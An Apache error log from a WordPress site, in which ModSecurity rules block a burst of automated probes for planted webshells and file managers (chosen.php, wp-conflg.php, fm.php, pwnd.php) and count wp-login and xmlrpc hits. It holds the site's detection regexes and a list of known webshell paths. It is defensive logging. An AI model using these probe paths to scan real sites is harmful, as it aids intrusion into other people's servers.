[Sat Nov 22 16:39:22.130366 2025] [:error] [pid 53477:tid 53490] [client 36.41.75.167:33255] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aSF2un7Lu30Ku9O40aKX2AAAAAk"]
[Sat Nov 22 17:00:18.929204 2025] [:error] [pid 9547:tid 9565] [client 43.131.26.226:46258] [client 43.131.26.226] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aSF7otClOR5qk7DoMeGNcAAAAUw"]
[Sat Nov 22 17:23:10.896937 2025] [:error] [pid 53479:tid 53540] [client 45.128.199.164:40715] [client 45.128.199.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSGA_m6cicFF3Aas-oR1IQAAAIQ"]
[Sat Nov 22 17:23:13.847431 2025] [:error] [pid 44259:tid 44284] [client 45.128.199.204:55041] [client 45.128.199.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aSGBAXXe1xL-_YOdRmRNtwAAAZY"]
[Sat Nov 22 17:23:27.823178 2025] [:error] [pid 9547:tid 9553] [client 45.128.199.239:33251] [client 45.128.199.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aSGBD9ClOR5qk7DoMeGVlQAAAUA"]
[Sat Nov 22 17:23:35.501643 2025] [:error] [pid 44259:tid 44266] [client 45.128.199.162:63651] [client 45.128.199.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aSGBF3Xe1xL-_YOdRmRN3AAAAYQ"]
[Sat Nov 22 17:23:36.696394 2025] [:error] [pid 53566:tid 53581] [client 45.128.199.244:22801] [client 45.128.199.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aSGBGMbSHDBkRbwMbd4WNQAAAM0"]
[Sat Nov 22 17:23:37.561732 2025] [:error] [pid 9547:tid 9559] [client 45.128.199.155:41321] [client 45.128.199.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aSGBGdClOR5qk7DoMeGVnwAAAUY"]
[Sat Nov 22 17:23:40.841619 2025] [:error] [pid 9547:tid 9555] [client 45.128.199.167:22987] [client 45.128.199.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aSGBHNClOR5qk7DoMeGVpQAAAUI"]
[Sat Nov 22 17:23:43.817547 2025] [:error] [pid 44259:tid 44264] [client 45.128.199.172:28327] [client 45.128.199.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aSGBH3Xe1xL-_YOdRmRN5wAAAYI"]
[Sat Nov 22 17:23:56.184991 2025] [:error] [pid 44259:tid 44267] [client 45.128.199.147:21047] [client 45.128.199.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSGBLHXe1xL-_YOdRmRN9gAAAYU"]
[Sat Nov 22 17:23:58.405985 2025] [:error] [pid 25856:tid 25872] [client 45.128.199.147:24077] [client 45.128.199.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aSGBLhsTP0wy94zKUvGilQAAAQ4"]
[Sat Nov 22 17:25:17.077513 2025] [:error] [pid 25856:tid 25870] [client 45.128.199.162:51967] [client 45.128.199.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.162, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSGBfRsTP0wy94zKUvGjBAAAAQw"]
[Sat Nov 22 17:25:25.472907 2025] [:error] [pid 25856:tid 25871] [client 45.128.199.162:51967] [client 45.128.199.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/modules.php"] [unique_id "aSGBhRsTP0wy94zKUvGjDwAAAQ0"]
[Sat Nov 22 17:25:50.849877 2025] [:error] [pid 53479:tid 53550] [client 45.128.199.174:38313] [client 45.128.199.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/codeboy1877_up.php"] [unique_id "aSGBnm6cicFF3Aas-oR1swAAAI4"]
[Sat Nov 22 17:26:54.411887 2025] [:error] [pid 53479:tid 53546] [client 45.128.199.237:42091] [client 45.128.199.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/lx.php"] [unique_id "aSGB3m6cicFF3Aas-oR17gAAAIo"]
[Sat Nov 22 17:28:35.988593 2025] [:error] [pid 53479:tid 53537] [client 45.128.199.154:24529] [client 45.128.199.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/F0x.php"] [unique_id "aSGCQ26cicFF3Aas-oR2ZAAAAIE"]
[Sat Nov 22 17:29:19.855306 2025] [:error] [pid 25856:tid 25875] [client 45.128.199.148:63215] [client 45.128.199.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSGCbxsTP0wy94zKUvGkOQAAARE"]
[Sat Nov 22 17:29:21.077475 2025] [:error] [pid 53478:tid 53510] [client 45.128.199.148:47747] [client 45.128.199.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.128.199.148, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSGCcQhUYdXBbQswAdTkFgAAAEE"]
[Sat Nov 22 17:29:25.626069 2025] [:error] [pid 53478:tid 53523] [client 45.128.199.148:47747] [client 45.128.199.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSGCdQhUYdXBbQswAdTkHQAAAE4"]
[Sat Nov 22 17:29:41.312595 2025] [:error] [pid 53479:tid 53558] [client 45.128.199.153:46141] [client 45.128.199.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSGChW6cicFF3Aas-oR2tgAAAJY"]
[Sat Nov 22 17:30:11.007391 2025] [:error] [pid 53479:tid 53544] [client 45.8.17.175:61409] [client 45.8.17.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aSGCo26cicFF3Aas-oR23AAAAIg"]
[Sat Nov 22 17:30:12.138138 2025] [:error] [pid 44259:tid 44273] [client 45.128.199.219:25401] [client 45.128.199.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSGCpHXe1xL-_YOdRmRQIAAAAYs"]
[Sat Nov 22 17:30:14.086402 2025] [:error] [pid 53479:tid 53545] [client 45.128.199.185:55641] [client 45.128.199.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aSGCpm6cicFF3Aas-oR24AAAAIk"]
[Sat Nov 22 17:30:15.146653 2025] [:error] [pid 53566:tid 53592] [client 45.128.199.165:39581] [client 45.128.199.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aSGCp8bSHDBkRbwMbd4XPwAAANg"]
[Sat Nov 22 17:30:23.413461 2025] [:error] [pid 53478:tid 53526] [client 45.128.199.175:49593] [client 45.128.199.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.175, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aSGCrwhUYdXBbQswAdTkVAAAAFE"]
[Sat Nov 22 17:30:48.435185 2025] [:error] [pid 53478:tid 53531] [client 45.128.199.175:49593] [client 45.128.199.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aSGCyAhUYdXBbQswAdTkawAAAFY"]
[Sat Nov 22 17:30:56.419777 2025] [:error] [pid 25856:tid 25870] [client 45.128.199.205:24861] [client 45.128.199.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.205, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aSGC0BsTP0wy94zKUvGkggAAAQw"]
[Sat Nov 22 17:31:12.242003 2025] [:error] [pid 25856:tid 25881] [client 45.128.199.205:24861] [client 45.128.199.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/makeasmtp.php"] [unique_id "aSGC4BsTP0wy94zKUvGkjwAAARc"]
[Sat Nov 22 17:31:14.324206 2025] [:error] [pid 9547:tid 9559] [client 45.128.199.198:47865] [client 45.128.199.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/about.php"] [unique_id "aSGC4tClOR5qk7DoMeGXwAAAAUY"]
[Sat Nov 22 17:31:19.461260 2025] [proxy_fcgi:error] [pid 53479:tid 53540] [client 45.128.199.174:48539] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:31:31.393319 2025] [proxy_fcgi:error] [pid 53479:tid 53544] [client 45.128.199.174:48539] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:31:54.373872 2025] [:error] [pid 53479:tid 53552] [client 45.128.199.174:48539] [client 45.128.199.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSGDCm6cicFF3Aas-oR3fQAAAJA"]
[Sat Nov 22 17:32:01.763081 2025] [:error] [pid 53477:tid 53505] [client 45.128.199.244:59669] [client 45.128.199.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bak.php"] [unique_id "aSGDEX7Lu30Ku9O40aKmsAAAABg"]
[Sat Nov 22 17:32:07.525536 2025] [:error] [pid 53566:tid 53584] [client 45.128.199.205:39789] [client 45.128.199.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aSGDF8bSHDBkRbwMbd4XkgAAANA"]
[Sat Nov 22 17:32:14.253365 2025] [:error] [pid 53566:tid 53586] [client 45.128.199.198:24789] [client 45.128.199.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aSGDHsbSHDBkRbwMbd4XmQAAANI"]
[Sat Nov 22 17:32:15.219180 2025] [:error] [pid 53478:tid 53526] [client 45.128.199.160:29085] [client 45.128.199.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSGDHwhUYdXBbQswAdTklAAAAFE"]
[Sat Nov 22 17:32:16.193341 2025] [:error] [pid 25856:tid 25878] [client 45.128.199.172:44057] [client 45.128.199.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.172, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aSGDIBsTP0wy94zKUvGkpwAAARQ"]
[Sat Nov 22 17:32:22.330104 2025] [:error] [pid 25856:tid 25863] [client 45.128.199.172:44057] [client 45.128.199.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aSGDJhsTP0wy94zKUvGksQAAAQU"]
[Sat Nov 22 17:32:31.906290 2025] [autoindex:error] [pid 44259:tid 44274] [client 45.128.199.154:56875] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 17:32:35.166780 2025] [:error] [pid 44259:tid 44262] [client 45.128.199.154:56875] [client 45.128.199.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-includes_function.php"] [unique_id "aSGDM3Xe1xL-_YOdRmRRBAAAAYA"]
[Sat Nov 22 17:32:41.079591 2025] [:error] [pid 25856:tid 25866] [client 45.128.199.204:38079] [client 45.128.199.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aSGDORsTP0wy94zKUvGkwQAAAQg"]
[Sat Nov 22 17:32:46.723163 2025] [:error] [pid 44259:tid 44262] [client 45.128.199.153:28245] [client 45.128.199.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aSGDPnXe1xL-_YOdRmRREQAAAYA"]
[Sat Nov 22 17:32:53.034708 2025] [:error] [pid 44259:tid 44262] [client 45.128.199.248:63965] [client 45.128.199.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.248, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/themes/wp-login.php"] [unique_id "aSGDRXXe1xL-_YOdRmRRHgAAAYA"]
[Sat Nov 22 17:32:59.163226 2025] [:error] [pid 44259:tid 44263] [client 45.128.199.248:63965] [client 45.128.199.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aSGDS3Xe1xL-_YOdRmRRKAAAAYE"]
[Sat Nov 22 17:33:00.175963 2025] [:error] [pid 44259:tid 44264] [client 45.128.199.173:53729] [client 45.128.199.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSGDTHXe1xL-_YOdRmRRLQAAAYI"]
[Sat Nov 22 17:33:23.098931 2025] [:error] [pid 25856:tid 25865] [client 45.128.199.173:32393] [client 45.128.199.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aSGDYxsTP0wy94zKUvGlBgAAAQc"]
[Sat Nov 22 17:33:26.433694 2025] [:error] [pid 9547:tid 9561] [client 45.128.199.147:65519] [client 45.128.199.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aSGDZtClOR5qk7DoMeGYOQAAAUg"]
[Sat Nov 22 17:33:28.529152 2025] [:error] [pid 25856:tid 25877] [client 45.128.199.155:63215] [client 45.128.199.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "aSGDaBsTP0wy94zKUvGlCAAAARM"]
[Sat Nov 22 17:33:29.522518 2025] [:error] [pid 25856:tid 25867] [client 45.128.199.227:20081] [client 45.128.199.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Content/index.php"] [unique_id "aSGDaRsTP0wy94zKUvGlCgAAAQk"]
[Sat Nov 22 17:33:30.535762 2025] [:error] [pid 53477:tid 53500] [client 45.128.199.238:24149] [client 45.128.199.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aSGDan7Lu30Ku9O40aKnCwAAABM"]
[Sat Nov 22 17:33:38.976629 2025] [:error] [pid 53477:tid 53497] [client 45.128.199.166:47183] [client 45.128.199.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aSGDcn7Lu30Ku9O40aKnFgAAABA"]
[Sat Nov 22 17:33:46.914051 2025] [:error] [pid 53477:tid 53491] [client 45.128.199.165:35267] [client 45.128.199.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aSGDen7Lu30Ku9O40aKnKAAAAAo"]
